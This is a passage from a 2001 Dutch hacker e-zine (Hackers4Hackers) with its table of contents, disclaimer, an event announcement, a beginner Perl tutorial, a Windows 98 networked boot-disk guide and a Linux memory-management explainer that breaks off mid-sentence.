___ ___ _____ ___ ___ / | \ / | | / | \ / ~ \/ | |_/ ~ \ \ Y / ^ /\ Y / \___|_ /\____ | \___|_ / \/ |__| \/ +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ |h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |0|F| +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+ http://www.hackers4hackers.org '11-11-2001' Om je aan of af te melden bij de mailinglijst ga je naar www.hackers4hackers.org Artikelen en dergelijke kun je mailen naar artikel@hackers4hackers.org. Vragen kun je mailen naar de desbetreffende auteur of naar post@hackers4hackers.org. Uitspraak: [ Nynex: werkweken zijn in principe hetzelfde als vakantie.. ] [ alleen heb je dan iets te doen overdag ] Enkele interessante sites: http://www.securitydatabase.net http://www.security.nl http://hier.is/Triples http://www.whatis.com http://viper.dmrt.com http://www.klaphek.nl http://www.hack.vuurwerk.nl http://www.dsinet.org/hackfaq http://www.startplaza.nu http://www.dsinet.org http://www.packetstormsecurity.com/docs/hack/i.only.replaced.index.html.txt Leuke kanaaltjes op IRCnet: #h4h #hit2000 01. Disclaimer................................................. (Redactie) 02. Inleiding.................................................. (Redactie) 03. Perl voor beginners - deel 1............................... (Asby) 04. Windows bootdisk inclusief netwerk......................... (R4z0r_) 05. Memory Management Linux.................................... (max) 06. Crack AceExpertFTP......................................... (-CDM-) 07. De geboorte van een netwerk:Internet (deel 2).............. (Rath) 08. Evenementen................................................ (Redactie) 09. Artificieele Neurale Netwerken............................. (Loser Max) 10. Plezier met Bruggen........................................ (anoniem) 11. Beginnen met MySql......................................... (coen666) 12. Kort....................................................... (Redactie) 13. Securing OpenBSD 2.9....................................... (pentag0n) 14. Unicode IIS hacking........................................ (VortexXx) 15. Lycos sms security kraak................................... (N|ghtHawk) ------------------------------------------------------- 01. Disclaimer ------------------------------------------------------- We zijn niet verantwoordelijk voor datgene wat jullie met deze informatie doen. Deze informatie dient alleen voor educatieve doeleinden. Als je in de problemen komt, kan je ons niks verwijten. Gebruik maken van deze informatie kan strafbaar zijn. Meningen van auteurs hoeven niet hetzelfde te zijn als die van de redactie. Correspondentie met de redactie is mogelijk per email : Algemeen - h4h-redactie@hackers4hackers.org Vragen e.d. - post@hackers4hackers.org Artikelen - artikel@hackers4hackers.org ------------------------------------------------------- 02. Inleiding ------------------------------------------------------- Ja, daar zijn we weer eens met een nieuwe H4H. Eigenlijk hebben we dit keer niet echt een excuus... sja, we zijn erg lui... en druk met andere activiteiten als we niet bezig zijn met lui zijn. Waaronder een grootschalig evenement organiseren voor jullie, en met enige trots presenteren wij dat dan ook "Outerbrains 2k2" het evenement voor de demo en hackers scene in nederland. Ook hebben we de h4h-site wat vernieuwd. Mede omdat wij vanaf begin volgend jaar deel gaan uit maken van Stichting Outerbrains. Dit gebeurd om meerdere redenen maar als het zover is zullen wij dit nog een keer uitvoerig behandelen in het blad. In ieder geval komt dit zeker ten goede van het blad in de vorm van professioneler dan wel vaker een oplage. Even verder over het evenement. De zaal is al besproken en de eerste voorbereidingen zijn getroffen. Het gaat dan eindelijk gebeuren. Na HIT2000 en HAL is het dan aan ons de beurt om een evenement te organiseren. Wij gaan niet in de voetsporen treden van deze evenementen maar op een geheel eigenzinnige manier organiseren dit is mede een erfenis van onze geest vader "Bizarre" die helaas niet meer gehouden gaat worden. Centraal binnen Outerbrains 2k2 komt het Competitie element. Dit betekend dat er vooral wedstrijden gehouden worden op programmeer gebied en op andere creatieve gebieden binnen het computer gebeuren in de volgende categorieën: Grafisch, Muziek, Code, en Hacking. En met hacking bedoelen we niet het script kiddie gebeuren maar echte stukjes software die wij speciaal schrijven voor het evenement met een opdracht er bij. Bijvoorbeeld een algoritme ontsleutelen of gewoon een "hackme" competitie. Maar de exacte regels maken we later pas bekend op de site van het evenement… ook zullen we een aantal verassing competities houden, deze worden pas op het evenement bekend gemaakt en kunnen dus alleen binnen de gestelde tijd opgelost worden. Ook zijn er geld prijzen te winnen deze worden deels betaald van het entree geld. Aangezien outerbrains niet op winst uit is gaan wij proberen al het geld wat we overhouden uit te keren als prijzen. En dit kan bij veel bezoekers dus hoog op lopen. Exacte bedragen kunnen we dus pas op het laatste moment noemen! We rekenen op 500 bezoekers. Dus voel je vrij om te komen ;) meer over het evenement kan je vinden op de site "www.outerbrains.nl". Hier kan je jezelf gelijk opgeven voor de mail list van het evenement en krijg je automatisch bericht als er dingen te melden zijn. Overigens gaan we in maart ofzo nog wel weer een meeting organiseren. Maar ook hierover later meer. Tot zover de inleiding dan maar weer. We hopen dat jullie verder veel plezier beleven aan deze H4H… De Redactie ------------------------------------------------------- 03. Perl voor beginners - deel 1 ------------------------------------------------------- De komende H4H's ga ik wat over perl vertellen. Ik zal beginnen met een aantal artikelen voor de beginner. Vervolgens vertel ik iets over perl en CGI en daarna volgt er een artikel hoe je CGI scripts het best kan exploiten. Als ik het daarna nog leuk vind en er mensen zijn die het waarderen ga ik wat vertellen voor de wat gevorderde perl gebruiker. Daarin ga ik vertellen hoe je bijvoorbeeld een eigen portscanner kan schrijven in perl. In de volgende H4H begin ik ook een serie artikelen over Perl/TK, aangezien sommige mensen grafische dingen willen programmeren. Maar goed eerst maar eens beginnen met dit artikel. --[ Het begin Eigenlijk zou ik nu eerst iets moeten vertellen over Larry Wall, de uitvinder van perl. Maar aangezien iedereen wel weet hoe google werkt, kunnen jullie dit zelf ook opzoeken. Ok, ik wil jullie alleen nog een quote van Larry Wall geven: @a=(Lbzjoftt,Inqbujfodf, Hvcsjt); $b="Lbssz Wbmm" ;$b =~ y/b-z/a-z/ ; $c = " Tif ". @a ." hsfbu wj" ."suvft pg b qsphsbnnfs" . ":\n";$c =~y/b-y/a-z/; print"\n\n$c ";for($i=0; $i<@a; $i++) { $a[$i] =~ y/b-y/a-z/;if($a[$i]eq$a [-1]){print"and $a[$i]." ;}else{ print"$a[$i], "; }}print"\n\t\t--$b\n\n"; Mooi, dan gaan we verder. Vervolgens zal ik nu het allereerste programmaatje in perl moeten schrijven, Hello World. Nou vooruit, om de traditie in ere te houden, hier is ie: 1 #!/usr/bin/perl 2 print "Hello, World\n"; Ok, dat was even zweten he, om dat in elkaar te flansen. Ok, dan zal ik even uitleggen (voor degene die bovenstaande niet snappen) wat alles betekent. Allereerst is het natuurlijk belangrijk om te weten hoe je dit programma draait. Heel simpel. $perl hello.pl $./hello.pl # na natuurlijk eerst 'chmod +x hello.pl' te hebben gedaan. Regel 1: Aangezien je perl niet hoeft te compilen, moet je op de eerste regel aangeven waar je shell de perl executable kan vinden. Dit wordt ook wel de shebang genoemd. Vaak staat de perl executable in /usr/bin of /usr/local/bin, maar iedereen maakt zijn eigen zooitje in linux, dus kan best anders zijn. Regel 2: Het print commando. Hiermee print je je uitvoer op het scherm. Ver- rassend he.. Let bij het print commando op dat er een verschil zit tussen het gebruik van ' en ". Zie het volgende voorbeeld: #!/usr/bin/perl print "Nu maken we gebruik van \" in deze zin\n"; print 'Nu maken we gebruik van \' in deze zin\n'; Als we dit uitvoeren, krijgen we als uitvoer: Nu maken we gebruik van " in deze zin Nu maken we gebruik van ' in deze zin\n We zien dat bij gebruik van ", we lekker dingen kunnen escapen, zoals \n om op een nieuwe regel te beginnen. Bij het gebruik van ' kunnen we maar 2 ding- en escapen en dat is ' en \. Hieronder ff een rijtje wat je allemaal kunt escapen: \n Newline \r Return \t Tab \f Formfeed \b Backspace \a Bell \e Escape \007 Elk octale ASCII waarde (hier 007=bell) \015 = CR \012 = LF \x7f Elk hexidecimale ASCII waarde (hier 7f=delete) \cC Elk "control" karakter (hier CTRL-C) \\ Backslash \" Dubbele quote \l Volgende letter lowercase \L Lowercase alle letters tot \E \u Volgende letter uppercase \U Uppercase alle letters tot \E \Q Backslash-quote alle niet-alphanummerieks tot \E \E Terminate \L, \U, of \Q Ok, ok, ik geef het toe. Ik heb dit overgetikt van O'Reilly's Learning Perl. Goed boek trouwens.. Als je echt perl wilt leren en niet wilt wachten tot- dat er weer eens een nieuwe H4H uitkomt, is dit een goed boek om mee te beginnen. Wat ook een verschil is tussen " en ' is dat je bij " wel varia- belen kan gebruiken en bij ' niet. Zie het volgende voorbeeld. #!/usr/bin/perl $blaat="hoi"; print "$blaat\n"; print '$blaat\n'; Als je dit uitvoert krijg je het volgende: hoi $blaat\n Je ziet dat hij bij " wel de variabele pakt en bij ' dus niet. Brengt ons mooi bij het volgende onderwerp, variabelen. --[ Variabelen Perl kent drie soorten variabelen: Scalars, Arrays en Hashes. - Scalars In een scalar kan je 1 waarde op slaan. De naam van een scalar begint met een $, zoals $i, $naam of $aardbei. In een scalar kan je cijfers en strings stoppen. Zoals: $a = 5; $b = "Ik lust graag aardbeien"; Zoals je ziet doet perl hier niet zo moeilijk over. Andere programmeertalen moet je precies aangeven of je een string wilt hebben of een integer, enz.. Perl is voor de luie mensen, zoals mij, dus is dat niet nodig. Ok, beetje rekenwerk. $a=5; $b=$a+5; # $b wordt 10, duh... $c=$b*8; # $c wordt 80 $a=$a-1; # $a wordt 4 $a=$c/$b; # $a wordt 8 Ok, sja.. wat zal ik hier eens bij vertellen.. ehmz.. ok, ik denk dat jullie het zo ook wel snappen. Ok, nu nog wat meer gepriegel met strings. $a = "aardbeien"; $b = "thee"; $c = $a.$b; # $c wordt aardbeienthee Ja, ik hou nu eenmaal van thee. Krijg je wel grote longinhoud van trouwens. Zelfde geldt voor appels enzo. Was laatst ergens een onderzoek over gedaan. Maar ja, je schijnt ook van de Teletubbies dik te worden. - Arrays Arrays zijn eigenlijk gewoon lijsten. Een array begint met een @. En het leuke van perl is dat je gewoon dezelfde naam voor een scalar en een array kan gebruiken, bijvoorbeeld $banaan en @banaan. Hoe ziet een array er nu uit: @soorten_thee =("aardbeien", "perziken", "bosvruchten", "mango"); Dit is een omslachtige manier om dit op te schrijven, makkelijker is met behulp van qw. @soorten_thee = qw(aardbeien perziken bosvruchten mango); Nu pakt hij gewoon de spatie als scheidingsteken. Wat kan je nu met zo'n array: print $soorten_thee[0]; # geeft aardbeien $soorten_thee[2]="zuidvruchten"; # bosvruchten wordt zuidvruchten De inhoud van een array begint met een 0. Waarom niet 1 hoor ik jullie vragen. Nou, omdat Larry Wall het zo wil. Je ziet hierboven ook dat ik ipv een @ een $ gebruik. Als je elementen uit een array wilt gebruiken, dan dien je een $ te gebruiken ipv een @. Als een array niet bestaat dan wordt hij gewoon aangemaakt voor je. Wat is perl toch simpel he. Voorbeeldje: $soorten_koffie[0]="mokka"; # @soorten_koffie wordt aangemaakt. Stel je hebt nu een array aangemaakt en er allerlei fratsen mee uitgehaald en weet niet meer hoe lang hij was. Nou dat is heel makkelijk. Perl helpt je daar gewoon bij. Gebruik $#arraynaam en je krijgt de lengte -1. $aantal = $#soorten_thee; # $aantal wordt 3. print $#olifant; # wordt -1. $#soorten_thee = 1; # @soorten_thee bevat nu aardbeien en perziken. Voor de rest kan je nog meer met array's, maar dat zal ik nog wel een keertje apart behandelen. Of niet, want dat vergeet ik vast weer. - Hashes Voordat mensen gaan denken dat dit met blowen te maken heeft, ik moet jullie teleurstellen, want dat is niet zo. Hashes bestaan uit een sleutel (key) en een waarde (value). Hashes duid je aan met % en mag je ook weer dezelfde naam geven als een array of scalar, dus %augurk, $augurk en @augurk. Ok, het wordt er niet leesbaarder op, maar het is dus mogelijk. Stel je hebt twee arrays: @produkt=(aardbeien, thee, chocolade, kaas, eieren); @prijs=("1.69", "1.19", "0.89", "2.65", "1.79") Deze moeten aan elkaar gekoppeld zijn, maar het is erg omslachtig om dit dus door middel van arrays te doen. Daarom hebben we hashes. yeah baby yeah... %produkt=("aardbeien" => "1.69", "thee" => "1.19", etc... ) Nu krijgen we natuurlijk de vraag wat => betekent, dit is gewoon een andere manier om een "," neer te zetten. Waarom gebruiken we dan geen comma? Dat mag ook, alleen nu kan je makkelijk zien welke waarde er bij welke sleutel hoort. Net als bij een array kan je de waarde van een hash met $ eruit halen. Het wordt dan alleen $hash{sleutel}. print $produkt{"thee"}; # print 1.19 $produkt{"chocolade"} = 0.69; # chocolade is in de reclame Wat nu als je alle sleutels uit een hash wilt weten? Nou daar hebben ze in perl een trucje voor, dat heet keys. @produkten = keys %produkt; # @produkten is nu ("aardbeien", "thee", etc..) Je ziet trouwens dat ik in de voorbeelden gebruik maak van #. Dit # gebruik je in perl voor commentaar te geven. Je kan het op een aparte regel doen, maar ook achter een commando. Wat erachter # staat wordt overgeslagen, dus beinvloed je programma niet. Maak er dus ook gebruik van. Als je een jaar later je eigen code terugziet is het wel handig. --[ Invoer Invoer in perl is erg makkelijk. Simpel met . is dat alles? Ja, dat is alles. print "Heej, jij daar... hoe oud ben je?: "; $leeftijd=; Alleen het nadeel is nu dat $leeftijd ook een \n in zich heeft, omdat de ge- bruiker op enter drukt. Daar heeft perl het volgende op gevonden. print "Heej, jij daar... hoe oud ben je?\n"; chomp($leeftijd=); Met het chomp commando haal je alle einde-van-de-regel (line-ending) tekens weg. Je kan ook chop gebruiken. Maar chop verwijdert alleen het laatste teken. Je kan chomp en chop zowel gebruiken voor scalars als voor arrays. --[ Loops Ok, nu weer even wat anders. Mensen die al programmeerervaring hebben, zullen dit niet zo een probleem vinden, maar aangezien die artikel voor de perl nitwits is, ga ik het toch behandelen. - for loop for $blaat (1,2,3,4,5) { print "$blaat\n"; } Ok, als we dit uitvoeren dan print hij 1 t/m 5 onder elkaar. Dus for kijkt gewoon naar de lijst en stopt elke variabele in een scalar. En vervolgens print hij die scalar. Ok, nu korter. for $blaat (1..5){ print "$blaat\n"; } Dit doet precies hetzelfde als het vorige voorbeeld. Je kan ook scalars, arrays en hashes gebruiken in een for loop. @boeh = (1..10); $moo = 30; for $blaat (@boeh, 15, 17, 20 .. $moo) { print "$blaat\n"; } Dit print 1 t/m 10 en... ach probeer het gewoon uit en je zult het zelf zien. Ojee, hashes vergeten in mijn voorbeeld, ok pakken we de produkt hash en maken iets moois ervan. print "Prijslijst\n"; for $blaat (keys %produkt) { print "$blaat kost $produkt{$blaat} gulden\n"; } - if/elsif/else loop if is niet echt een loop, maar meer een vergelijking. Als iets dat is, doe dan dat, of doe anders dat. Tijd voor weer een voorbeeldje. if ($x==1) { print "\$x is 1\n"; } elsif($x==2){ print "\$x is 2\n"; } else { print "\$x is geen 1\n"; } In bovenstaand voorbeeld kijken we of scalar $x gelijk is aan 1. Als dat zo is print hij het bovenste zinnetje. Zo niet dan gaat hij kijken of $x 2 is. Is dit waar dan print hij het zinnetje "$x is 2". In alle andere gevallen print hij het onderste, dus als $x bijvoorbeeld 3 is. Veel valt er voor de rest niet te zeggen over de if loop. Op naar de volgende dan maar. - while loop Met de while loop voer je commando's net zolang uit, totdat hij aan het criterium voldoet die je op hebt gegeven. Voorbeeld: $x = 0; while ($x < 10) { print "\$x is nu: $x\n"; $x++; } Nu print hij net zolang totdat $x niet meer kleiner dan 10 is. Met $x++ verhogen we $x elke keer met 1. Dus $x is op een gegeven moment niet meer kleiner en de while loop stopt. - unless loop Dit is het tegenover gestelde van de while loop. Dit is zolang iets niet voldoet aan wat er op gegeven is blijft ie doorlopen. $x = 0; unless($x>10){ print "\$x is nu: $x\n"; $x++; } Dit doet hetzelfde als het voorbeeld bij de while loop. Alleen nu zeg je zolang $x niet groter dan 10 is dan blijft ie lopen. - until loop until is ook weer net als while. Draai de loop totdat de waarde bereikt is. Zie voorbeeld. nuff said. $x=0; until($x=10){ print "\$x is nu: $x\n"; $x++; } - foreach loop Het woord foreach zegt het al, voor elke variabele in een array doe dit. foreach $bla (1..5){ print $bla; } Dit geeft als output "12345", voor elke van 1 t/m 5 print hij hem. Tadaa.. best wel simpel he... Probeer zelf maar wat uit. Ok, ik ga er een eind aan breien en ik geef jullie nog wat leuke oefeningetjes mee om te oefenen tot de volgende H4H. Oefening 1: Maak een simpele rekenmachine. De rekenmachine moet twee keer een invoer krijgen en vervolgens moet er de vraag verschijnen of men wil vermenigvuldigen, delen, optellen of aftrekken. En daarna moet hij netjes met een uitkomst komen. Oefening 2: Vraag iemand om een aantal produkten in te voeren, met daaraan een prijs. Maak gebruik van een hash en print vervolgens de lijst mooi netjes uit. Oefening 3: Vraag iemand om een aantal woorden in te voeren. Tel met behulp van een hash hoe vaak ieder woord voor komt. Oefening 4: Verzin zelf een leuke oefening, die je uit moet kunnen voeren als je bovenstaande weet. De leukste inzendingen komen in het volgende artikel te staan. Ok, tot de volgende H4H. Dan zal ik wat vertellen over het openen en sluiten van bestanden enzo. En nog wel wat... moet even kijken hoeveel zin ik tegen die tijd heb. Mochten er nog vragen/opmerkingen, verzoeken van artikelen over perl of liefdesaanzoeken zijn, stuur ze naar perl@hackers4hackers.org. Oja, fouten zitten er vast wil in mijn artikel, dus die mag je ook nog wel melden. ttfn, Asby ------------------------------------------------------- 04. Windows bootdisk inclusief netwerk ------------------------------------------------------- [ REDACTIONELE NOTE: Het hiervolgende artikel is bij onderzoek vrijwel geheel ] [ gekopieerd van autheur Henk van de Kamer. Hij heeft het ] [ artikel geschreven voor PC-Active (nr juni 1999). ] [ Als redactie betreuren wij deze vorm van plagiaat. ] Tja, het is een beetje een roeping geworden om een artikeltje te schrijven voor H4H. En omdat het vakantie is ben ik er toch maar eens aan begonnen. En ik kan jullie vertellen dat het nog leuk is ook :)) hehe. Deze truc werkt zowel onder Windows'95 als '98. Ikzelf gebruikte windows'98 voer de volgende stappen uit: ***Formatteer een diskette. Kies hierbij de optie "Volledig" en vink het vakje "Systeembestanden kopieren" aan. Geef de diskette een naam. ***Ga in de Verkenner naar de A-drive. Er moeten vier bestanden zichtbaar zijn: COMMAND.COM, DRVSPACE.BIN, IO.SYS en MSDOS.SYS (als ze niet allemaal zichtbaar zijn moet je ff "alle bestanden weergeven" bij de optie beeld bla bla...) ***Als je geen gecomprimeerde schijven gebruikt, kun je DRVSPACE.BIN verwijderen. Ga naar de root van de C-drive en kopieer vervolgens MSDOS.SYS naar de A-drive. Overschrijf hierbij de versie die al aanwezig is. ***Ga naar de A-drive en vraag de eigenschappen van MSDOS.SYS op. Vink het vakje "Alleen lezen" uit. Open vervolgens MSDOS.SYS met Kladblok. Het bestand ziet eruit als een ini- bestand en bevat een aantal secties. Verwijder in beide secties regels die je hier NIET aantreft: [Paths] WinDir=A:\WIN98 WinBootDir=A:\WIN98 HostWinBootDrv=A [Options] BootMulti=0 BootGUI=0 AutoScan=0 WinVer=4.10.1998 (dit is je eigen versie!!!) Verander niets in andere secties en laat ook alle regels met de vele xxxx tekens staan. Sla nu het gewijzigde bestand op. ***open een dos-prompt en tik de volgende regels in: A: MD CDROM MD REGTXT MD WIN98 CD WIN98 MD COMMAND MD TEMP ***Open nu Kladblok en tik de volgende regels in: device=a:\win98\himem.sys dos=high country=031,850,a:\win98\command\country.sys device=a:\cdrom\mtmcdai.sys /d:idecd001 Pas de vierde regel aan voor uw cd-romspeler. (De algemene cd-romdrivers vind je meestal in de EBD directory.) Sla nu het bestand op in de root van de A-drive onder de naam CONFIG.SYS ***Open weer kladblok en tik in: @echo off a:\win98\command\doskey /insert a:\win98\command\mscdex /s /d:idecd001 /m:8 Pas de derde regel aan met de gegevens van je cd-romspeler. De string achter /d: moet identiek zijn met wat je in CONFIG.SYS hebt opgegeven. Sla het bestand op in de root van de A-drive onder de naam AUTOEXEC.BAT ***Ga naar de Windows directory en selecteer deze bestanden: HIMEM.SYS IFSHLP.SYS NDISHLP.SYS NET.EXE NET.MSG NETH.MSG PROTMAN.DOS PROTMAN.EXE PROTOCOL.INI Kopieer deze bestanden naar A:\WIN98 ***Open het bestand PROTOCOL.INI in Kladblok. Zoek dan een sectie die lijkt op: [$] DriverName=$ IOAddress=0x300 In de Windows directory moet een bestand .DOS aanwezig zijn. (Voor een 3Com Etherlink III 3C509b is dit bijvoorbeeld ELNK3.DOS en bij een Intel EtherExpress 10/PRO moeten we het bestand EPRO.DOS hebben) Kopieer ook dit bestand naar A:\WIN98 ***Ga naar de Windows Command directory en selecteer de volgende bestanden: COUNTRY.SYS DOSKEY.COM MSCDEX.EXE ATTRIB.EXE DEBUG.EXE DELTREE.EXE EDIT.COM FC.EXE FDISK.EXE FORMAT.COM LABEL.EXE MORE.COM SYS.COM Kopieer de bestanden naar A:\WIN98\COMMAND ***Zoek de cd-romdriver en kopieer deze naar A:\CDROM ***Open het bestand DOSNET.TXT en pas het volgende aan: "netcard"="elnk3.dos" (Plaats na het = teken en tussen de aanhalingstekens de naam die je hebt gevonden in PROTOCOL.INI "Workgroup"="jouw_werkgroep_naam" (Verander de werkgroep die op jou netwerk is ingesteld) "ComputerName"="jou_computer_naam" (Verander hier de naam van je computer. Deze moet uniek zijn op het netwerk! "username"="R4z0r_" (Verander de username naar je eigen naam) Sla het gewijzigde bestand op in A:\REGTXT\DOSNET.TXT ***Ga via Start|Afsluiten naar MS-DOS-modus. Geef vervolgens het volgende commando (LET OP maak geen tikfouten anders overschrijf je de registry van je huidige windows, tip: maak anders eerst een backup!!!) REGEDIT /L:A:\WIN98\SYSTEM.DAT /R:A:\WIN98\USER.DAT /C A:\REGTXT\DOSNET.TXT Na een paar seconden is er op de diskette een minimale registry gemaakt. Dit kunt u controleren via het commando: DIR /AH A:\WIN98\*.DAT Wanneer er een SYSTEM.DAT en USER.DAT verschijnt van hooguit enkele tientallen kilobytes, is alles gelukt. Verschijnen er geen bestanden, dan is zeer waarschijnlijk de registry in uw Windows directory op de harddisk overschreven. Oops toch maar een backup gemaakt :(( ***En hierbij is je Windows bootdiskette met netwerkondersteuning klaar!!! Alle commando's voor het netwerk zijn aanwezig in het programma NET. Start de computer vanaf diskette en via het volgende commando logt u bijvoorbeeld in onder dos: NET USE * \\R4z0r\D Uiteraard vervangt u de \\R4z0r\D voor namen die op je eigen netwerk gelden. Veel suc6 ermee en ik hoop dat jullie er erg gelukkig mee zijn :) R4z0r_ sysops@bengamaster.com #prutsers, hier zit ik meestal, als ik niet in #h4h zit :)) M00000000000 [Team Fraud] ------------------------------------------------------- 05. Memory Management Linux ------------------------------------------------------- Dit is een stukje over het memory management (van linux). Ik zal beginnen met het uitleggen hoe het geheugen van een computer in elkaar zit en hoe het werkt, zie de piramide hieronder: - Registers - (kleiner en sneller) - Interne Cache - - 2e (externe) cache - /\ || - Tertiare cache - || \/ - Physieke geheugen - - Swap disks en filesystem disks - (groter en trager) Dit moet de "memory hierarchy" voorstellen. Elke computer heeft verschillende soorten geheugen, "snel en klein geheugen" en "groot en traag geheugen". Hieronder heb ik een lijst neergezet met wat wat doet: CPU core - Gemaakt door de chip coder, snelheids optimalsaties zijn meestal onzichtbaar L1, L2 (and L3) cache - Word geregeld door de hardware, onzichtbaar, behalve bij snelheids verschillen RAM - Word geregeld door het OS, het RAM management is onzichtbaar voor user applicaties Disk - Word ook geregeld door het OS, programma's openen, read/write data etc. Snel geheugen kan het register zijn of L1 cpu cache, traag geheugen kan L2 cache of RAM zijn, en dan heb je ook nog de harddisk, die is gruwelijk traag. Als je de piramide ziet ga je je afvragen waarom heeft mijn computer dan niet alleen gewoon snel geheugen of waarom maken we computers niet zo dat al het geheugen snel is? Nou het antwoord is simpel, het is onmogelijk om heel groot en snel geheugen te maken, en als het al kon dan zou het veels te duur zijn en je kan niet alles in snel geheugen draaien omdat programma's simpelweg te groot zijn. Ok ik ga verder met het vertellen over RAM management, RAM is het traagste electronische geheugen in een computer, het is vaak 100 keer trager dan de CPU core en dat is heel traag :) maar wanneer je ziet dat de disk 100000 keer trager is dan RAM dan lijkt geheugen ineens weer snel :) Voordat ik ga vertellen over pages vertel ik ff wat een zogenaamde page is. Virtueel en physical memory zijn ingedeeld op handige grootte in stukjes geheugen, en dat zijn nou pages. Pages zijn allemaal van dezelfde grootte (alpha's gebruiken pages van 8 kb en intel x86 bakken gebruiken pages van 4 kb). Ok we gaan verder, als een process van een page niet in het geheugen zit (maar het process wil het wel) dan zal de CPU een error geven en het programma verlaten, dan zal het OS aan het werk worden gezet om dit probleem te fixen en het programma te laten doorgaan, dit heet PAGE FAULT. Het OS fixed dit door een "free page", het zet de goeie data in die page en geeft dan die page aan het programma, daarna zal het process verder gaan met werken zoals het altijd al deed. Het enige probleem van zo'n page fault is dat het erg veel CPU cycles kost dus wil je ervoor zorgen dat je zo min mogelijk page faults krijgt. Het andere probleem is dat je maar een klein beetje geheugen hebt in je pc en je zal dus vrij snel out of memory komen, op dat moment, zal het OS moeten kiezen welke data in het geheugen blijft en welke data uit geswapt word. Het perfecte zou zijn als de data die de komende tijd niet nodig is gewoon weggegooid zou worden, op deze manier zou je de langste tijd tussen page faults hebben en het minimale aantal van page faults per minuut, dwz. het beste wat je computer kan doen :) het enige probleem met deze methode is dat je in de toekomst zou moeten kijken en dat is helaas onmoge- lijk :) dus moeten we wat anders bedenken dat in de buurt komt bij dit idee, zoiets als LRU, dan swap je uit de page dat het langst niet gebruikt is en dit is ook niet zo'n slecht idee, maar dit is niet altijd de beste oplossing omdat LRU ook de fout in kan gaan, dan kan je altijd nog LFU toepassen die swapt uit de page die het minst vaak is gebruikt. In sommige situaties is LRU beter, in andere LFU en soms zijn geen van beiden handig :) dus zouden we eigenlijk iets moeten bedenken dat uit deze 2 kiest of een andere oplossing zoekt op dat moment, mgoed, just speculating 'bout what's best, next. Page aging Laten we eens kijken naar gcc, dan zal je zien dat het uit 3 delen bestaat, de preprocessor (cpp), een compiler (cc1) en een assembler (as), laten we zeggen dat je bijvoorbeeld maar genoeg geheugen hebt voor een van deze tegelijk, dan zal het compilen foutgaan, je zou dit kunnen oplossen door page aging. het systeem scanned het gehele geheugen, en elke page heeft een "age", als de page is gebruikt sinds we de laatste page hebben gescanned dan vermin- deren we de page age en als de page was gebruikt sinds we het voor de laatste keer gescanned hebben maken we de page age juist groter. als de page age niet gebruikt is, dan maken we de page age kleiner en wanneer de page age 0 bereikt, is de page kandidaat om uitgeswapt te worden, we verwijderen die data en gebruiken dat stukje geheugen voor iets anders. Nu zijn er verschil- lende manieren om de page age groter en kleiner te maken, om het groter te maken doe je gewoon een magic nummer bij de page, page->age += 3 en om de page age kleiner te maken kunnen we verschillende dingen doen, bijvoorbeeld, page->age -= 1 dan zitten we close to LFU en als we de page age delen door 2 (page->age /= 2), dan zitten we close to LRU. Page aging word gebruikt door Linux 2.0, FreeBSD en Linux 2.4 Linux 2.0 gebruikt de "page->age -= 1" stra- tegie en Linux 2.4 gebruikt de "page->age /= 2" strategie. Virtual Memory Je hebt er vast wel eens van gehoord. maar wat is dat? Het woord zegt het eigenlijk al, virtueel geheugen. Virtueel geheugen is een concept dat, wanneer het geimplementeerd is door een computer en het OS, de coder een hele grote range van geheugen of bewaarde adressen kan gebruiken voor bewaarde data. De software denkt dat de hardware de memory is dankzij het OS. Virtual memory kan meer adres ruimte gebruiken dan er geheugen is en het kan meer programma's runnen dan in het geheugen past. Elk process heeft zijn eigen virtueel adress ruimte, daarbij kan elke process niet bij elkaars geheugen komen en processen hoeven niet te weten van elkaar. Niet alle pages van een programma hoeven in het geheugen te zitten bij virtual memory. Shared Virtual Memory Jaja dat bestaat ook nog :) door virtual memory kunnen processen elkaar "sharen", dus ze kunnen bij elkaars processen komen. Al het memory access worden gefixed via page tables, en elk process heeft zijn eigen afzonderlijke page table. Physical en Virtual Addresserings Modes Het zou weinig nut hebben om het OS zelf in virtueel geheugen te draaien. Dit zou kut zijn voor het OS omdat het OS dan page tables zelf moet onderhouden. De linux kernel zelf is gelinkt om in physical adres space te draaien. Linux 2.2 VM Het goeie van VM van linux 2.2 is dat het simpel is en het werkt goed in de meeste situaties. De zwakke punten zijn dat het niet altijd goed werkt onder zwaar varieerende VM load, het crashed makkelijk onder een hele hoge VM load en zo zijn er nog wat problemen met de pages. Linux 2.4 VM 2.4 heeft weer page aging en dat is goed ! :) Verder heeft 2.4 een betere page flushing (page_launder()) en is het meer robuust tegen een zware VM load. Nadelen: eh..ff denken :) Het is nog steeds niet perfect beschermd tegen een grote VM load (al is het wel verbeterd) en er ontbreekt nog veel (zoals betere pagetables, omdat ze momenteel unswapable zijn en grote page sizes). Ik wil ook nog even laten zien hoe de pages geladen worden in linux kernel 2.4 (wat asm kennis is wel handig, btw. at&t asm syntax sux :) Hieronder zie je eens stukje waarin paging aangezet word (head.S) : De kernel code word geload op het adres 0x100000 (1MB), dat word dan gemapped naar PAGE_OFFSET+0x100000 wanneer paging is aangezet. Dit word gedaan door compiled-in page tables die een physical range van 0-8 MB naar zichzelf en naar PAGE_OFFSET...PAGE_OFFSET+8MB mappen. Dan jumpen we naar start_kernel() in init/main.c, die zit op PAGE_OFFSET+een_adres. /* * Enable paging */ 3: movl $swapper_pg_dir-__PAGE_OFFSET,%eax movl %eax,%cr3 /* set the page table pointer.. */ movl %cr0,%eax orl $0x80000000,%eax movl %eax,%cr0 /* ..and set paging (PG) bit */ jmp 1f /* flush the prefetch-queue */ 1: movl $1f,%eax jmp *%eax /* make sure eip is relocated */ 1: het stukje code tussen de twee 1: labels laden het adress van de 2e label 1: in EAX en jumped daar. Op dat moment zal de instructie pointer EIP pointen naar een physical locatie 1MB+iets. De labels zitten allemaal in virtual kernel space. Nog wat afkortingen die je zou moeten kennen ;) OOM - Out Of Memory MMU - Memory Management Unit TLB - Translation Lookaside Buffer LRU - Least Recently Used LFU - Least Frequently Used NRU - Not Recently Used NFU - Not Frequently used KSEG - Kernel Code Physical - Hoeveel geheugen er eigenlijk daadwerkelijk is Virtual - Het physical gedeelte zeg maar voorliegen en zeggen dat er meer is Conclusie: Er is nog genoeg te doen en genoeg te verbeteren aan het (virtual) memory ge- deelte (van *nix) en dat zal altijd blijven zolang het open source blijft. That's it, dit was min of meer een inleiding in de basis van memory manage- ment, voor meer info check het web en /usr/src/linux comments etc kan je sturen naar 